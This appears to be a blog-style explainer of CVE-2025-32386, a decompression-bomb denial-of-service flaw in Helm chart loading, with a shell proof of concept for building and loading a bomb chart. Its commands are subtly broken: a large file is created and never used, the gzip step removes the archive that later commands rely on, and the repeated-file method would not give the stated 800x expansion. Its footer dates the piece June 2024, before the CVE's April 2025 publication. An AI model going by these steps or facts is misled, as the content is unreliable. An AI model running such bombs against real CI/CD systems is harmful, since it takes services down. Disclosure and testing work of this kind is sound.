Summary:
If you use Helm to manage Kubernetes applications, there’s a security issue you should know: CVE-2025-32386. In versions before v3.17.3, Helm could be tricked into eating up a ton of memory—sometimes over 800x what the original chart archive took up! In worst cases, this can take down your CI/CD pipeline or Helm-based services. The following is a simple technical breakdown and an example of how the exploit works.
What Is Helm?
Helm is the most popular tool to manage Kubernetes applications. You package up resources in a *chart*, which is a compressed .tgz or .tar.gz archive of YAML files, templates, and metadata. Using commands like helm install and helm upgrade, you deploy and manage applications.
What’s the Problem?
A specially-crafted chart archive can be made really, really small in compressed form but explode into a monster size when uncompressed. This is called a *decompression bomb*. When Helm (v3.17.2 and below) loads this chart, it tries to read it all into memory without checking if the decompressed size is dangerous.
For example, a 1MB archive could expand to ~800MB, depending on how the compression is structured.
If an attacker submits or hosts a malicious chart on your repo, or tricks your automation to use it, your process could run out of memory (OOM), get killed, or even crash your deployment pipeline.
Impact: DoS (Denial of Service); Helm process dies, automation halts.
- Fixed in: Helm v3.17.3.
Realistic Attack Scenario
- Attacker uploads malicious archive to a public/private chart repo.
- Your CI/CD pipeline or cluster automation loads this chart (via helm template, helm lint, etc).
Simple Exploit Example
Here’s how you can make a basic “decompression bomb” chart to test the issue (do this in a safe, isolated environment!).
Create a big, repetitive file
mkdir bigchart
cd bigchart
head -c 10000000 < /dev/zero > hugefile.txt # 10MB of zeros
But we can go smaller in compressed size! Instead, make a minimum 1K file, but repeat it 10,000x in the archive.
mkdir chart
cd chart
for i in $(seq 1 10000); do printf 'kind: Deployment\n' > file${i}.yaml; done
cd ..
2. Archive With Maximum Compression
We use GNU tar and gzip. The -9 argument gives maximum compression.
tar -czvf bombchart-.1..tgz chart/
# Optionally, use gzip -9 for stronger compression
gzip -9 bombchart-.1..tgz
3. Check Sizes
Notice how small your .tgz is, but extract it and the size balloons!
ls -lh bombchart-.1..tgz
tar -xzvf bombchart-.1..tgz -C /tmp/testextraction
du -sh /tmp/testextraction
Now, try to load it with an unpatched Helm
helm lint bombchart-.1..tgz
# or
helm install test bombchart-.1..tgz
In vulnerable versions, memory will shoot up and the process may get killed.
How Did Helm Fix It?
Starting with Helm v3.17.3, a limit was added on how much data can be decompressed/loaded from a chart archive. If the uncompressed size is unreasonable, Helm immediately aborts with an error.
Full Disclosure and References
- Helm Release Notes v3.17.3
- NVD entry – CVE-2025-32386
- Helm Security Policy
The Bottom Line
CVE-2025-32386 is a classic decompression bomb—old trick, new target. If you use Helm in automation, Kubernetes self-service portals, or public chart repositories, upgrading Helm is absolutely necessary. Don’t let a tiny file take down your workflow!
Stay secure, and patch your tools!
*Exclusive content by OpenAI's advanced language model. Written for the Kubernetes/DevOps community, June 2024.*
Timeline
Published on: 04/09/2025 23:15:37 UTC
Last modified on: 04/11/2025 15:40:10 UTC